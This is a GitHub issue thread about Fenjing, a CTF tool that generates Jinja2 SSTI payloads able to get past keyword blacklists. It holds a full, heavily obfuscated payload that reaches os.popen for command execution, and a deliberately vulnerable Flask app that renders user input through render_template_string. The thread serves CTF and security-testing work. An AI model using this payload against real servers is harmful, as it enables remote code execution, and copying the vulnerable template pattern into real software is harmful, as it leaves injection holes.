Marven11 / Fenjing

专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
Mozilla Public License 2.0
685 stars 43 forks source link

工具在这个过滤上失效 #27

Closed Und3r1ine closed 6 months ago

Und3r1ine commented 6 months ago

过滤代码如下

numbers= [str(x) for x in range(10)]
black_list = ["class", "__", "'", "\"", "~", "+", "globals", "request", "{%", "true", "false", 'lipsum', 'url_for',
              'get_flashed_messages', 'range', 'dict', 'cycler', 'self']
black_list += numbers
Marven11 commented 6 months ago

这边测试是可以的,我再仔细看看

image

跑出来的payload是这个:

payload='{{joiner[(()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count,([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count)),()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count)|join][(()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count,([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x,x,x,x)|count)%((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count,((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),(x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count,((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x)|count)),()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count)|join][(()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count,([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x,x,x,x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x)|count)),()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count)|join][(()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count,([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x,x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),(x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count,((x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count)),()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count)|join](([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x)|count))).popen(([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x)|count),((x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),(x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count)).read()}}'
Marven11 commented 6 months ago

无法复现,这边测试是可以的

把上面的waf黑名单放到app.py里可以成功用焚靖攻击。

我用的命令如下:

app.py源码如下:

"""一个可以被SSTI的服务器
"""

from flask import Flask, request, render_template_string

app = Flask(__name__)

blacklist = [
    "class",
    "__",
    "'",
    '"',
    "~",
    "+",
    "globals",
    "request",
    "{%",
    "true",
    "false",
    "lipsum",
    "url_for",
    "get_flashed_messages",
    "range",
    "dict",
    "cycler",
    "self",
] + [str(x) for x in range(10)]

@app.route("/", methods=["GET", "POST"])
def index():
    name = request.args.get("name", "world")
    if any(w in name for w in blacklist):
        return "NO!"
    template = f"""
Hello, {name}
<form action="/" method="GET">
<input type="text" name="name" id="">
<input type="submit" value="">
</form>
"""
    return render_template_string(template)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)
Und3r1ine commented 6 months ago

版本问题,更新版本就能成功了! Thanks a lot.